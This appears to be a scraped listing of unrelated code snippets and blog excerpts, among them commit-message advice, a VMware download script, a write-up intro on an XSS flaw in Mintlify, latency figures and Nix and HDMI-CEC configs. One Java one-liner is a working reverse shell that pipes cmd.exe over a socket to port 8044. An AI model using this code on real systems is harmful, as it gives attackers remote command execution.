See how a minor change to your commit message style can make a difference.
git commit -m"<type>(<optional scope>): <description>" \ -m"<optional body>" \ -m"<optional footer>"
See how a minor change to your commit message style can make a difference.
git commit -m"<type>(<optional scope>): <description>" \ -m"<optional body>" \ -m"<optional footer>"
| String host="localhost"; | |
| int port=8044; | |
| String cmd="cmd.exe"; | |
| Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); |
| <# | |
| .SYNOPSIS | |
| Download VMware Workstation Pro for Windows from Archive.org | |
| .DESCRIPTION | |
| This script downloads VMware Workstation installers directly from the archive.org VMware Workstation archive. | |
| It allows for interactive menu selection or direct version specification. | |
| .PARAMETER Version | |
| Specifies the version of VMware Workstation to download (e.g., "17.6.3"). | |
| .PARAMETER Help | |
| Displays the help information for the script and exits. |
hi, i'm daniel. i'm a 16-year-old high school senior. in my free time, i hack billion dollar companies and build cool stuff.
about a month ago, a couple of friends and I found serious critical vulnerabilities on Mintlify, an AI documentation platform used by some of the top companies in the world.
i found a critical cross-site scripting vulnerability that, if abused, would let an attacker to inject malicious scripts into the documentation of numerous companies and steal credentials from users with a single link open.
(go read my friends' writeups (after this one))
how to hack discord, vercel, and more with one easy trick (eva)
Redacted by Counsel: A supply chain postmortem (MDL)
| Latency Comparison Numbers (~2012) | |
| ---------------------------------- | |
| L1 cache reference 0.5 ns | |
| Branch mispredict 5 ns | |
| L2 cache reference 7 ns 14x L1 cache | |
| Mutex lock/unlock 25 ns | |
| Main memory reference 100 ns 20x L2 cache, 200x L1 cache | |
| Compress 1K bytes with Zippy 3,000 ns 3 us | |
| Send 1K bytes over 1 Gbps network 10,000 ns 10 us | |
| Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD |
| #!/bin/sh | |
| # Resources: | |
| # - https://wiki.archlinux.org/title/HDMI-CEC | |
| # - https://man.archlinux.org/man/extra/v4l-utils/rc_keymap.5.en | |
| # - https://man.archlinux.org/man/extra/v4l-utils/ir-keytable.1.en | |
| # - https://www.freedesktop.org/software/systemd/man/latest/systemd.unit.html | |
| # - https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html | |
| # Make sure to replace card1-HDMI-A-2 with your own connector in: cec0-daemon-autostart.rules |
| #include <windows.h> | |
| #include <stdio.h> | |
| #include <tchar.h> | |
| #define MAX_BUF 1024 | |
| #define pipename "\\\\.\\pipe\\LogPipe" | |
| int main() | |
| { | |
| HANDLE pipe = CreateFile(pipename, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); | |
| if (pipe == INVALID_HANDLE_VALUE) |
Short URL: go.arnv.dev/cnap
Recently the Calling Name Presentation (CNAP) Service has been introduced in India, which is gradually rolling out around the telecom circles.
CNAP as the name suggests is a suplimentary service enabled by default for all the users, it shows your name as per the KYC documents which you used for SIM card registration
| system.activationScripts.applications.text = let | |
| env = pkgs.buildEnv { | |
| name = "system-applications"; | |
| paths = config.environment.systemPackages; | |
| pathsToLink = "/Applications"; | |
| }; | |
| in | |
| pkgs.lib.mkForce '' | |
| # Set up applications. | |
| echo "setting up /Applications..." >&2 |